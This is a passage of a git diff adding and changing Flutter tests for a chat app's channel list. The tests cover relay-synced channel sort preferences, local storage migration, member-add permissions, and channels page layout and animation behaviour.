+    expect(subject.store.groups, {'channels': ChannelSortMode.recent});
+    await signed.submitted.future.timeout(const Duration(seconds: 1));
+    subject.dispose();
+  });
+
+  test('publishing does not advance the persisted remote cursor', () async {
+    final storage = ChannelSortStorage(prefs);
+    storage.writeSyncState(
+      keys.public,
+      'wss://relay.example',
+      const ChannelSortSyncState(updatedAt: 100, eventId: 'remote'),
+    );
+    final signed = _RecordingSignedEventRelay();
+    final subject = manager(_FakeRelaySession(), signed);
+    await subject.initialize();
+
+    subject.setSortModeFor('channels', ChannelSortMode.recent);
+    await signed.submitted.future.timeout(const Duration(seconds: 1));
+    await Future<void>.delayed(Duration.zero);
+
+    final syncState = storage.readSyncState(keys.public, 'wss://relay.example');
+    expect(syncState.updatedAt, 100);
+    expect(syncState.eventId, 'remote');
+    expect(syncState.hasPendingLocalChanges, isFalse);
+    expect(syncState.pendingUpdatedAt, 0);
+    subject.dispose();
+  });
+
+  test('legacy pending state resets its ambiguous remote cursor', () {
+    final storage = ChannelSortStorage(prefs);
+    // Simulate the pre-migration JSON, which had no pendingUpdatedAt field.
+    prefs.setString(
+      '${channelSortKey(keys.public, 'wss://relay.example')}:sync',
+      jsonEncode({
+        'updatedAt': 4102444800,
+        'eventId': 'local-publication',
+        'hasPendingLocalChanges': true,
+      }),
+    );
+
+    final syncState = storage.readSyncState(keys.public, 'wss://relay.example');
+    expect(syncState.updatedAt, 0);
+    expect(syncState.eventId, isEmpty);
+    expect(syncState.pendingUpdatedAt, 4102444800);
+  });
+
+  test('lower event ID wins when remote timestamps tie', () async {
+    final relay = _FakeRelaySession()
+      ..historyEvents = [
+        event({'channels': 'recent'}, 200, id: 'f'),
+      ];
+    final subject = manager(relay, _RecordingSignedEventRelay());
+    await subject.initialize();
+
+    relay.emit(event({'dms': 'recent'}, 200, id: 'a'));
+    expect(subject.store.groups, {'dms': ChannelSortMode.recent});
+
+    relay.emit(event({'starred': 'recent'}, 200, id: 'z'));
+    expect(subject.store.groups, {'dms': ChannelSortMode.recent});
+    subject.dispose();
+  });
+
+  test('adopts a newer relay replacement after publishing', () async {
+    final relay = _FakeRelaySession();
+    final signed = _RecordingSignedEventRelay();
+    final subject = manager(relay, signed);
+    await subject.initialize();
+
+    subject.setSortModeFor('channels', ChannelSortMode.recent);
+    final submitted = await signed.submitted.future.timeout(
+      const Duration(seconds: 1),
+    );
+    relay.emit(event({'dms': 'recent'}, submitted.createdAt! + 1, id: 'a'));
+    expect(subject.store.groups, {'dms': ChannelSortMode.recent});
+    subject.dispose();
+  });
+
+  test(
+    'future-dated remote event is ignored and cannot wedge publishing',
+    () async {
+      final relay = _FakeRelaySession()
+        ..historyEvents = [
+          event({'channels': 'recent'}, 4102444800),
+        ];
+      final signed = _RecordingSignedEventRelay();
+      final subject = manager(relay, signed);
+      await subject.initialize();
+      expect(subject.sortModeFor('channels'), ChannelSortMode.alpha);
+      subject.setSortModeFor('dms', ChannelSortMode.recent);
+      await signed.submitted.future.timeout(const Duration(seconds: 1));
+      subject.dispose();
+    },
+  );
+
+  test('retries failed startup and closes fetch-subscribe gap', () async {
+    final relay = _FakeRelaySession()..fetchFailures = 1;
+    final subject = manager(relay, _RecordingSignedEventRelay());
+    await subject.initialize();
+    relay.historyEvents = [
+      event({'starred': 'recent'}, 300),
+    ];
+    await Future<void>.delayed(const Duration(milliseconds: 40));
+    expect(subject.sortModeFor('starred'), ChannelSortMode.recent);
+    expect(relay.fetchCount, greaterThanOrEqualTo(3));
+    subject.dispose();
+  });
+
+  test('setSortModeFor prunes deleted custom section keys', () async {
+    final subject = manager(_FakeRelaySession(), _RecordingSignedEventRelay());
+    await subject.initialize();
+    subject.setSortModeFor('section:dead', ChannelSortMode.recent);
+    subject.setSortModeFor(
+      'channels',
+      ChannelSortMode.recent,
+      liveSectionIds: ['live'],
+    );
+    expect(subject.store.groups.keys, ['channels']);
+    subject.dispose();
+  });
+}
+
+class _SubmittedEvent {
+  final String content;
+  final List<List<String>> tags;
+  final int? createdAt;
+  const _SubmittedEvent(this.content, this.tags, this.createdAt);
+}
+
+class _RecordingSignedEventRelay implements SignedEventRelay {
+  final submitted = Completer<_SubmittedEvent>();
+  int submitCount = 0;
+
+  @override
+  String? get pubkey => null;
+
+  @override
+  Future<NostrEvent> submit({
+    required int kind,
+    required String content,
+    required List<List<String>> tags,
+    int? createdAt,
+    void Function(NostrEvent event)? onSigned,
+  }) async {
+    submitCount++;
+    onSigned?.call(
+      const NostrEvent(
+        id: 'signed-event',
+        pubkey: '',
+        createdAt: 0,
+        kind: 0,
+        tags: [],
+        content: '',
+        sig: '',
+      ),
+    );
+    if (!submitted.isCompleted) {
+      submitted.complete(_SubmittedEvent(content, tags, createdAt));
+    }
+    return const NostrEvent(
+      id: 'ack',
+      pubkey: '',
+      createdAt: 0,
+      kind: 0,
+      tags: [],
+      content: '',
+      sig: '',
+    );
+  }
+}
+
+class _FakeRelaySession extends RelaySessionNotifier {
+  List<NostrEvent> historyEvents = [];
+  int fetchFailures = 0;
+  int fetchCount = 0;
+  void Function(NostrEvent)? _listener;
+
+  @override
+  Future<List<NostrEvent>> fetchHistory(
+    NostrFilter filter, {
+    Duration timeout = const Duration(seconds: 8),
+  }) async {
+    fetchCount++;
+    if (fetchFailures > 0) {
+      fetchFailures--;
+      throw Exception('rate limited');
+    }
+    return historyEvents;
+  }
+
+  @override
+  Future<void Function()> subscribe(
+    NostrFilter filter,
+    void Function(NostrEvent) onEvent, {
+    void Function(String message)? onClosed,
+  }) async {
+    _listener = onEvent;
+    return () => _listener = null;
+  }
+
+  void emit(NostrEvent event) => _listener?.call(event);
+}
diff --git a/mobile/test/features/channels/channel_sort/channel_sort_storage_test.dart b/mobile/test/features/channels/channel_sort/channel_sort_storage_test.dart
new file mode 100644
index 0000000000..a4afff0b21
--- /dev/null
+++ b/mobile/test/features/channels/channel_sort/channel_sort_storage_test.dart
@@ -0,0 +1,124 @@
+import 'dart:convert';
+
+import 'package:buzz/features/channels/channel.dart';
+import 'package:buzz/features/channels/channel_sort/channel_sort_storage.dart';
+import 'package:flutter_test/flutter_test.dart';
+import 'package:shared_preferences/shared_preferences.dart';
+
+void main() {
+  group('ChannelSortStore JSON', () {
+    test('round-trips desktop wire format and drops invalid modes', () {
+      final store = ChannelSortStore(
+        groups: {
+          'channels': ChannelSortMode.recent,
+          'dms': ChannelSortMode.alpha,
+        },
+      );
+      expect(store.toJson()['groups'], {'channels': 'recent', 'dms': 'alpha'});
+      expect(ChannelSortStore.fromJson(store.toJson()).groups, store.groups);
+      expect(
+        ChannelSortStore.fromJson({
+          'version': 1,
+          'groups': {'channels': 'recent', 'starred': 'bogus'},
+        }).groups,
+        {'channels': ChannelSortMode.recent},
+      );
+    });
+  });
+
+  group('ChannelSortStorage', () {
+    test('normalizes relay scope and isolates communities', () async {
+      SharedPreferences.setMockInitialValues({});
+      final prefs = await SharedPreferences.getInstance();
+      final storage = ChannelSortStorage(prefs);
+      final store = ChannelSortStore(
+        groups: {'channels': ChannelSortMode.recent},
+      );
+      storage.write('pk', ' WSS://Relay.Example/ ', store);
+      expect(storage.read('pk', 'wss://relay.example').groups, store.groups);
+      expect(storage.read('pk', 'wss://other.example').groups, isEmpty);
+    });
+
+    test('migrates legacy unscoped cache into the first relay scope', () async {
+      SharedPreferences.setMockInitialValues({
+        legacyChannelSortKey('pk'): jsonEncode({
+          'version': 1,
+          'groups': {'dms': 'recent'},
+        }),
+      });
+      final prefs = await SharedPreferences.getInstance();
+      final storage = ChannelSortStorage(prefs);
+      expect(storage.read('pk', 'wss://one').groups, {
+        'dms': ChannelSortMode.recent,
+      });
+      expect(prefs.getString(channelSortKey('pk', 'wss://one')), isNotNull);
+      expect(prefs.getString(legacyChannelSortKey('pk')), isNull);
+      expect(storage.read('pk', 'wss://two').groups, isEmpty);
+    });
+
+    test('ignores corrupt and unsupported payloads', () async {
+      SharedPreferences.setMockInitialValues({
+        channelSortKey('pk', 'wss://one'): 'nope',
+        channelSortKey('pk', 'wss://two'): '{"version":2,"groups":{}}',
+      });
+      final prefs = await SharedPreferences.getInstance();
+      final storage = ChannelSortStorage(prefs);
+      expect(storage.read('pk', 'wss://one').groups, isEmpty);
+      expect(storage.read('pk', 'wss://two').groups, isEmpty);
+    });
+  });
+
+  test('prunes orphaned section modes but keeps fixed groups', () {
+    final store = ChannelSortStore(
+      groups: {
+        'channels': ChannelSortMode.recent,
+        'section:live': ChannelSortMode.recent,
+        'section:dead': ChannelSortMode.alpha,
+      },
+    );
+    expect(stripOrphanedSectionModes(store, ['live']).groups.keys, [
+      'channels',
+      'section:live',
+    ]);
+  });
+
+  group('sortChannelsForList', () {
+    Channel channel(String id, String name, {DateTime? lastMessageAt}) =>
+        Channel(
+          id: id,
+          name: name,
+          channelType: 'stream',
+          visibility: 'open',
+          description: '',
+          createdBy: 'pk',
+          createdAt: DateTime.utc(2026),
+          memberCount: 1,
+          lastMessageAt: lastMessageAt,
+        );
+
+    test('alpha matches desktop code-unit collation and id tie-break', () {
+      final sorted = sortChannelsForList([
+        channel('2', 'zeta'),
+        channel('3', 'Alpha'),
+        channel('1', 'alpha'),
+        channel('4', 'Éclair'),
+      ], ChannelSortMode.alpha);
+      expect(sorted.map((c) => c.id), ['1', '3', '2', '4']);
+    });
+
+    test('recent puts newest first and quiet channels alpha last', () {
+      final now = DateTime.utc(2026, 7, 25);
+      final sorted = sortChannelsForList([
+        channel('a', 'quiet-z'),
+        channel(
+          'b',
+          'old',
+          lastMessageAt: now.subtract(const Duration(days: 2)),
+        ),
+        channel('c', 'new', lastMessageAt: now),
+        channel('d', 'quiet-a'),
+      ], ChannelSortMode.recent);
+      expect(sorted.map((c) => c.id), ['c', 'b', 'd', 'a']);
+    });
+  });
+}
diff --git a/mobile/test/features/channels/channel_test.dart b/mobile/test/features/channels/channel_test.dart
index 9f36760861..9673eda28e 100644
--- a/mobile/test/features/channels/channel_test.dart
+++ b/mobile/test/features/channels/channel_test.dart
@@ -195,4 +195,50 @@ void main() {
       expect(updated.archivedAt, newDate);
     });
   });
+
+  group('Channel.canAddMembers', () {
+    Channel make({required String channelType, required String visibility}) =>
+        Channel(
+          id: '1',
+          name: 'c',
+          channelType: channelType,
+          visibility: visibility,
+          description: '',
+          createdBy: 'x',
+          createdAt: DateTime(2025),
+          memberCount: 2,
+        );
+
+    test('open channels accept adds from anyone', () {
+      final channel = make(channelType: 'stream', visibility: 'open');
+      expect(channel.canAddMembers(null), isTrue);
+      expect(channel.canAddMembers('member'), isTrue);
+    });
+
+    test('private channels accept adds only from owners/admins', () {
+      final channel = make(channelType: 'stream', visibility: 'private');
+      expect(channel.canAddMembers('owner'), isTrue);
+      expect(channel.canAddMembers('admin'), isTrue);
+      expect(channel.canAddMembers('member'), isFalse);
+      expect(channel.canAddMembers('bot'), isFalse);
+      expect(channel.canAddMembers(null), isFalse);
+    });
+
+    test('DMs never accept adds', () {
+      expect(
+        make(channelType: 'dm', visibility: 'open').canAddMembers('owner'),
+        isFalse,
+      );
+      expect(
+        make(channelType: 'dm', visibility: 'private').canAddMembers('owner'),
+        isFalse,
+      );
+    });
+
+    test('unknown visibility fails closed for non-elevated callers', () {
+      final channel = make(channelType: 'stream', visibility: 'mystery');
+      expect(channel.canAddMembers('member'), isFalse);
+      expect(channel.canAddMembers('owner'), isTrue);
+    });
+  });
 }
diff --git a/mobile/test/features/channels/channels_page_test.dart b/mobile/test/features/channels/channels_page_test.dart
index 991db3b5cd..f925724b54 100644
--- a/mobile/test/features/channels/channels_page_test.dart
+++ b/mobile/test/features/channels/channels_page_test.dart
@@ -1,7 +1,9 @@
 import 'dart:async';
 import 'dart:math';
 
+import 'package:flutter/foundation.dart';
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:hooks_riverpod/misc.dart';
@@ -12,7 +14,7 @@ import 'package:buzz/features/channels/channel_sections/channel_sections_provide
 import 'package:buzz/features/channels/channel_sections/channel_sections_storage.dart';
 import 'package:buzz/features/channels/channels_page.dart';
 import 'package:buzz/features/channels/channels_provider.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
 import 'package:buzz/features/channels/unread_badge/observed_unread_event.dart';
 import 'package:buzz/features/profile/profile_avatar.dart';
 import 'package:buzz/features/profile/profile_provider.dart';
@@ -22,6 +24,8 @@ import 'package:buzz/shared/community/community_icon_provider.dart';
 import 'package:buzz/shared/relay/relay.dart';
 import 'package:buzz/shared/theme/theme.dart';
 import 'package:buzz/shared/widgets/avatar_image.dart';
+import 'package:buzz/shared/widgets/frosted_app_bar.dart';
+import 'package:buzz/shared/widgets/masked_avatar_badge.dart';
 import 'package:buzz/shared/widgets/skeleton.dart';
 
 void main() {
@@ -34,6 +38,9 @@ void main() {
     Map<String, String?> communityIcons = const {},
     ValueChanged<String>? onCommunityIconLoad,
     TextScaler textScaler = TextScaler.noScaling,
+    Gradient? topSectionGradient,
+    ValueChanged<double>? onSettingsTransitionProgress,
+    ValueListenable<int>? tabReselection,
   }) {
     return ProviderScope(
       overrides: [
@@ -50,7 +57,7 @@ void main() {
         ...overrides,
       ],
       child: MaterialApp(
-        theme: AppTheme.light(),
+        theme: AppTheme.light(topSectionGradient: topSectionGradient),
         builder: (context, child) => MediaQuery(
           data: MediaQuery.of(context).copyWith(
             disableAnimations: disableAnimations,
@@ -60,10 +67,15 @@ void main() {
           ),
           child: child!,
         ),
-        home: const Stack(
+        home: Stack(
           children: [
-            ChannelsPage(settingsPageBuilder: _buildSettingsPage),
-            Positioned.fill(
+            ChannelsPage(
+              settingsPageBuilder: _buildSettingsPage,
+              onSettingsTransitionProgress:
+                  onSettingsTransitionProgress ?? (_) {},
+              tabReselection: tabReselection,
+            ),
+            const Positioned.fill(
               child: ChannelQuickActionsLauncher(
                 visible: true,
                 navigationBarHeight: 60,
@@ -135,17 +147,91 @@ void main() {
     expect(find.text('DMs'), findsOneWidget);
     expect(find.text('Community'), findsOneWidget);
     expect(find.byTooltip('Create or start conversation'), findsOneWidget);
+    expect(find.byTooltip('Channels options'), findsOneWidget);
+    expect(find.byIcon(LucideIcons.ellipsisVertical), findsWidgets);
+    expect(find.byIcon(LucideIcons.arrowUpDown), findsNothing);
+    expect(find.byTooltip('DMs options'), findsOneWidget);
+
+    await tester.tap(find.byTooltip('Channels options'));
+    await tester.pumpAndSettle();
+    expect(find.text('Sort: Recent'), findsOneWidget);
+    expect(find.text('Sort: A–Z'), findsOneWidget);
+    final popover = find.byKey(const ValueKey('sort-popover-Channels'));
+    expect(popover, findsOneWidget);
+    expect(
+      find.descendant(of: popover, matching: find.byType(PopupMenuDivider)),
+      findsNothing,
+    );
+    final selectedCheck = find.byKey(const ValueKey('sort-selected-check'));
+    expect(selectedCheck, findsOneWidget);
+    expect(
+      tester.getCenter(selectedCheck).dx,
+      greaterThan(tester.getCenter(find.text('Sort: A–Z')).dx),
+    );
 
     for (final label in ['general', 'Alice']) {
       final text = tester.widget<Text>(find.text(label));
       expect(text.style?.fontSize, contentListTitleTextStyle.fontSize);
       expect(text.style?.height, contentListTitleTextStyle.height);
+      expect(
+        text.style?.color,
+        Theme.of(
+          tester.element(find.text(label)),
+        ).colorScheme.onSurface.withValues(alpha: 0.8),
+      );
     }
+    final channelIcon = tester.widget<Icon>(
+      find.byKey(const ValueKey('channel-icon-1')),
+    );
+    expect(
+      channelIcon.color,
+      Theme.of(
+        tester.element(find.byKey(const ValueKey('channel-icon-1'))),
+      ).colorScheme.onSurface.withValues(alpha: 0.8),
+    );
     final sectionTitle = tester.widget<Text>(find.text('Channels'));
     expect(sectionTitle.style?.fontSize, contentListTitleTextStyle.fontSize);
     expect(sectionTitle.style?.fontWeight, FontWeight.w600);
   });
 
+  testWidgets('sizes the community header for accessible text', (tester) async {
+    await tester.pumpWidget(
+      buildTestable(
+        textScaler: const TextScaler.linear(2),
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final appBar = tester.widget<FrostedAppBar>(
+      find.byType(FrostedAppBar).last,
+    );
+    final titleStyle = appBar.titleStyle!;
+    expect(titleStyle.fontSize, 22);
+    expect(
+      tester
+          .getSize(
+            find.descendant(
+              of: find.byType(FrostedAppBar).last,
+              matching: find.byType(ClipRect),
+            ),
+          )
+          .height,
+      closeTo(
+        frostedAppBarHeight(
+              tester.element(find.byType(FrostedAppBar).last),
+              titleStyle: titleStyle,
+              bottomHeight: appBar.bottomHeight,
+            ) -
+            1,
+        0.01,
+      ),
+    );
+    expect(tester.takeException(), isNull);
+  });
+
   testWidgets('keeps the last channel above the floating tab bar', (
     tester,
   ) async {
@@ -169,6 +255,149 @@ void main() {
     expect((padding.padding as EdgeInsets).bottom, footerClearance);
   });
 
+  testWidgets('balances an expanded section around its following divider', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      buildTestable(
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final lastChannel = tester.getRect(find.text('general'));
+    final divider = tester.getRect(find.byType(Divider).last);
+    final nextSectionHeader = tester.getRect(find.text('DMs'));
+
+    expect(
+      divider.top - lastChannel.bottom,
+      closeTo(nextSectionHeader.top - divider.bottom, 0.01),
+    );
+  });
+
+  testWidgets('keeps the Buzz background fixed behind the channels list', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      buildTestable(
+        topSectionGradient: const LinearGradient(
+          begin: Alignment.topCenter,
+          end: Alignment.bottomCenter,
+          colors: [Colors.yellow, Colors.blue],
+        ),
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(
+      find.byKey(const ValueKey('frosted-scaffold-pinned-gradient')),
+      findsOneWidget,
+    );
+    expect(find.byType(DecoratedSliver), findsNothing);
+    final gradientBackground = tester.widget<DecoratedBox>(
+      find.byKey(const ValueKey('frosted-scaffold-pinned-gradient')),
+    );
+    final gradient =
+        (gradientBackground.decoration as BoxDecoration).gradient
+            as LinearGradient;
+    expect(gradient.end, Alignment.bottomCenter);
+
+    final appBar = tester.widget<FrostedAppBar>(
+      find.byType(FrostedAppBar).last,
+    );
+    expect(appBar.frosted, isFalse);
+    expect(appBar.frostedSurfaceOpacity, 0);
+    expect(appBar.frostedBlurSigma, 0);
+    expect(appBar.showBottomDivider, isFalse);
+    expect(appBar.bottomHeight, Grid.xxs);
+  });
+
+  testWidgets('builds Home header frost progressively while scrolling', (
+    tester,
+  ) async {
+    tester.view.physicalSize = const Size(320, 160);
+    tester.view.devicePixelRatio = 1;
+    addTearDown(tester.view.reset);
+    await tester.pumpWidget(
+      buildTestable(
+        topSectionGradient: const LinearGradient(
+          colors: [Colors.yellow, Colors.blue],
+        ),
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final scrollable = tester.state<ScrollableState>(
+      find
+          .descendant(
+            of: find.byType(CustomScrollView),
+            matching: find.byType(Scrollable),
+          )
+          .first,
+    );
+    expect(scrollable.position.maxScrollExtent, greaterThanOrEqualTo(Grid.xxl));
+
+    scrollable.position.jumpTo(Grid.xl / 2);
+    await tester.pump();
+    var appBar = tester.widget<FrostedAppBar>(find.byType(FrostedAppBar).last);
+    expect(appBar.frosted, isTrue);
+    expect(appBar.frostedSurfaceOpacity, 0);
+    expect(appBar.frostedBlurSigma, closeTo(8.67, 0.001));
+
+    scrollable.position.jumpTo(Grid.xxl);
+    await tester.pump();
+    appBar = tester.widget<FrostedAppBar>(find.byType(FrostedAppBar).last);
+    expect(appBar.frostedSurfaceOpacity, 0);
+    expect(appBar.frostedBlurSigma, 23.12);
+  });
+
+  testWidgets('scrolls Home to the top when its tab is selected again', (
+    tester,
+  ) async {
+    tester.view.physicalSize = const Size(320, 160);
+    tester.view.devicePixelRatio = 1;
+    addTearDown(tester.view.reset);
+    final tabReselection = ValueNotifier(0);
+    addTearDown(tabReselection.dispose);
+    await tester.pumpWidget(
+      buildTestable(
+        tabReselection: tabReselection,
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final scrollable = tester.state<ScrollableState>(
+      find
+          .descendant(
+            of: find.byType(CustomScrollView),
+            matching: find.byType(Scrollable),
+          )
+          .first,
+    );
+    scrollable.position.jumpTo(scrollable.position.maxScrollExtent);
+    tabReselection.value++;
+    await tester.pump();
+    await tester.pump(const Duration(milliseconds: 130));
+
+    expect(
+      scrollable.position.pixels,
+      lessThan(scrollable.position.maxScrollExtent),
+    );
+    await tester.pumpAndSettle();
+    expect(scrollable.position.pixels, scrollable.position.minScrollExtent);
+  });
+
   testWidgets('truncates long custom section names beside the menu', (
     tester,
   ) async {
@@ -200,6 +429,89 @@ void main() {
     expect(tester.takeException(), isNull);
   });
 
+  testWidgets('section menu matches desktop labels, icons, and inset', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      buildTestable(
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+          channelSectionsProvider.overrideWith(
+            () => _FakeChannelSectionsNotifier(
+              const ChannelSectionStore(
+                sections: [
+                  ChannelSection(id: 'section-1', name: 'Design', order: 0),
+                ],
+              ),
+            ),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    await tester.tap(find.byKey(const Key('section-menu-section-1')));
+    await tester.pumpAndSettle();
+
+    final popover = find.byKey(const Key('section-popover-section-1'));
+    expect(popover, findsOneWidget);
+    for (final label in [
+      'Rename section',
+      'Move up',
+      'Move down',
+      'Delete section',
+    ]) {
+      expect(
+        find.descendant(of: popover, matching: find.text(label)),
+        findsOne,
+      );
+    }
+    for (final icon in [
+      LucideIcons.pencil,
+      LucideIcons.arrowUp,
+      LucideIcons.arrowDown,
+      LucideIcons.trash2,
+    ]) {
+      expect(
+        find.descendant(of: popover, matching: find.byIcon(icon)),
+        findsOne,
+      );
+    }
+
+    final actionMenuItems = tester
+        .widgetList<PopupMenuItem<String>>(
+          find.descendant(
+            of: popover,
+            matching: find.byWidgetPredicate(
+              (widget) => widget is PopupMenuItem<String>,
+            ),
+          ),
+        )
+        .where(
+          (item) => const {
+            'rename',
+            'move_up',
+            'move_down',
+            'delete',
+          }.contains(item.value),
+        );
+    expect(actionMenuItems, hasLength(4));
+    for (final item in actionMenuItems) {
+      expect(
+        item.padding,
+        const EdgeInsets.fromLTRB(Grid.xs, 0, Grid.twelve, 0),
+      );
+    }
+
+    final error = Theme.of(tester.element(popover)).colorScheme.error;
+    final deleteText = tester.widget<Text>(find.text('Delete section'));
+    final deleteIcon = tester.widget<Icon>(
+      find.descendant(of: popover, matching: find.byIcon(LucideIcons.trash2)),
+    );
+    expect(deleteText.style?.color, error);
+    expect(deleteIcon.color, error);
+  });
+
   testWidgets('aligns the top, section, row, and skeleton label columns', (
     tester,
   ) async {
@@ -218,7 +530,9 @@ void main() {
     final topLabelX = tester.getTopLeft(find.text('Community')).dx;
     final sectionLabelX = tester.getTopLeft(find.text('Channels')).dx;
     final rowLabelX = tester.getTopLeft(find.text('general')).dx;
-    expect(topLabelX, sectionLabelX);
+    // The community title shares the leading row with its avatar. Channel
+    // labels stay aligned below it.
+    expect(topLabelX, Grid.twelve + 40 + Grid.xxs);
     expect(sectionLabelX, rowLabelX);
 
     relaySession.setReconnecting();
@@ -240,6 +554,32 @@ void main() {
     expect(skeletonSectionLabelX, sectionLabelX);
   });
 
+  testWidgets('matches the community and profile avatar circle sizes', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      buildTestable(
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final appBar = find.byType(FrostedAppBar).last;
+    final communityAvatar = find.descendant(
+      of: appBar,
+      matching: find.byType(AvatarImage),
+    );
+    final profileAvatar = find.descendant(
+      of: appBar,
+      matching: find.byType(MaskedAvatarBadge),
+    );
+
+    expect(tester.getSize(communityAvatar), const Size.square(40));
+    expect(tester.getSize(profileAvatar), const Size.square(40));
+  });
+
   testWidgets('reveals channel content from same-slot reconnect skeletons', (
     tester,
   ) async {
@@ -347,10 +687,128 @@ void main() {
     );
     await tester.pumpAndSettle();
 
+    expect(find.byType(Hero), findsNothing);
     await tester.tap(find.byType(ProfileAvatar));
     await tester.pumpAndSettle();
 
     expect(find.text('Injected settings'), findsOneWidget);
+    final route = ModalRoute.of(tester.element(find.text('Injected settings')));
+    expect(route, isNot(isA<MaterialPageRoute<void>>()));
+    expect(route?.opaque, isFalse);
+  });
+
+  testWidgets('reports Settings progress in both directions', (tester) async {
+    final progress = <double>[];
+    await tester.pumpWidget(
+      buildTestable(
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+        onSettingsTransitionProgress: progress.add,
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    await tester.tap(find.byType(ProfileAvatar));
+    await tester.pumpAndSettle();
+    expect(progress.any((value) => value > 0 && value < 1), isTrue);
+    expect(progress.last, 1);
+
+    final reverseStart = progress.length;
+    Navigator.of(tester.element(find.text('Injected settings'))).pop();
+    await tester.pumpAndSettle();
+    expect(
+      progress.skip(reverseStart).any((value) => value > 0 && value < 1),
+      isTrue,
+    );
+    expect(progress.last, 0);
+  });
+
+  testWidgets('paints Settings content with its surface from the first frame', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      buildTestable(
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    await tester.tap(find.byType(ProfileAvatar));
+    await tester.pump();
+
+    final transition = find.byKey(
+      const ValueKey('settings-transition-opacity'),
+      skipOffstage: false,
+    );
+    expect(transition, findsOneWidget);
+    expect(
+      find.descendant(
+        of: transition,
+        matching: find.byKey(
+          const ValueKey('settings-transition-layer'),
+          skipOffstage: false,
+        ),
+      ),
+      findsOneWidget,
+    );
+    expect(tester.widget<FadeTransition>(transition).opacity.value, 0.8);
+
+    await tester.pump(const Duration(milliseconds: 95));
+    expect(
+      tester.widget<FadeTransition>(transition).opacity.value,
+      inExclusiveRange(0.8, 1),
+    );
+    await tester.pumpAndSettle();
+    expect(tester.widget<FadeTransition>(transition).opacity.value, 1);
+
+    Navigator.of(tester.element(find.text('Injected settings'))).pop();
+    await tester.pump();
+    await tester.pump(const Duration(milliseconds: 95));
+    expect(
+      tester.widget<FadeTransition>(transition).opacity.value,
+      inExclusiveRange(0, 1),
+      reason: 'The complete Settings layer still fades out on exit.',
+    );
+  });
+
+  testWidgets('gives feedback for the profile and community controls', (
+    tester,
+  ) async {
+    final hapticCalls = <MethodCall>[];
+    TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+        .setMockMethodCallHandler(SystemChannels.platform, (call) async {
+          if (call.method == 'HapticFeedback.vibrate') hapticCalls.add(call);
+          return null;
+        });
+    addTearDown(
+      () => TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+          .setMockMethodCallHandler(SystemChannels.platform, null),
+    );
+    await tester.pumpWidget(
+      buildTestable(
+        overrides: [
+          channelsProvider.overrideWith(() => _FakeNotifier(testChannels)),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    await tester.tap(find.byType(ProfileAvatar));
+    await tester.pumpAndSettle();
+    expect(hapticCalls.single.arguments, 'HapticFeedbackType.lightImpact');
+
+    Navigator.of(tester.element(find.text('Injected settings'))).pop();
+    await tester.pumpAndSettle();
+    final communityAvatar = find.descendant(
+      of: find.byType(FrostedAppBar).last,
+      matching: find.byType(AvatarImage),
+    );
+    await tester.tap(communityAvatar);
+    await tester.pump();
+    expect(hapticCalls.last.arguments, 'HapticFeedbackType.selectionClick');
   });
 
   testWidgets('community switcher separates selection from edit removal', (
@@ -410,7 +868,13 @@ void main() {
     expect(find.text('alpha.example.com'), findsOneWidget);
     expect(find.text('bravo.example.com'), findsOneWidget);
     expect(find.text('Rename'), findsNothing);
-    expect(find.byIcon(LucideIcons.ellipsisVertical), findsNothing);
+    expect(
+      find.descendant(
+        of: options,
+        matching: find.byIcon(LucideIcons.ellipsisVertical),
+      ),
+      findsNothing,
+    );
     expect(find.text('Edit'), findsOneWidget);
     expect(find.byIcon(LucideIcons.trash2), findsNothing);
     expect(
@@ -1202,7 +1666,7 @@ void main() {
     expect(find.text('Retry'), findsOneWidget);
   });
 
-  testWidgets('renders and clears unread dot indicator', (tester) async {
+  testWidgets('bolds and clears unread channel labels', (tester) async {
     final channels = [
       Channel(
         id: '1',
@@ -1246,15 +1710,25 @@ void main() {
     );
     await tester.pumpAndSettle();
 
-    expect(find.byKey(const Key('channel-unread-dot-1')), findsOneWidget);
+    expect(
+      tester.widget<Text>(find.text('general')).style?.fontWeight,
+      FontWeight.w700,
+    );
+    expect(
+      tester.widget<Text>(find.text('general')).style?.color,
+      Theme.of(tester.element(find.text('general'))).colorScheme.onSurface,
+    );
 
     readState.markContextRead('1', 20);
     await tester.pump();
 
-    expect(find.byKey(const Key('channel-unread-dot-1')), findsNothing);
+    expect(
+      tester.widget<Text>(find.text('general')).style?.fontWeight,
+      FontWeight.w400,
+    );
   });
 
-  testWidgets('renders numeric unread count for counted events', (
+  testWidgets('bolds channels with unread thread activity without a badge', (
     tester,
   ) async {
     final channels = [
@@ -1313,9 +1787,10 @@ void main() {
     );
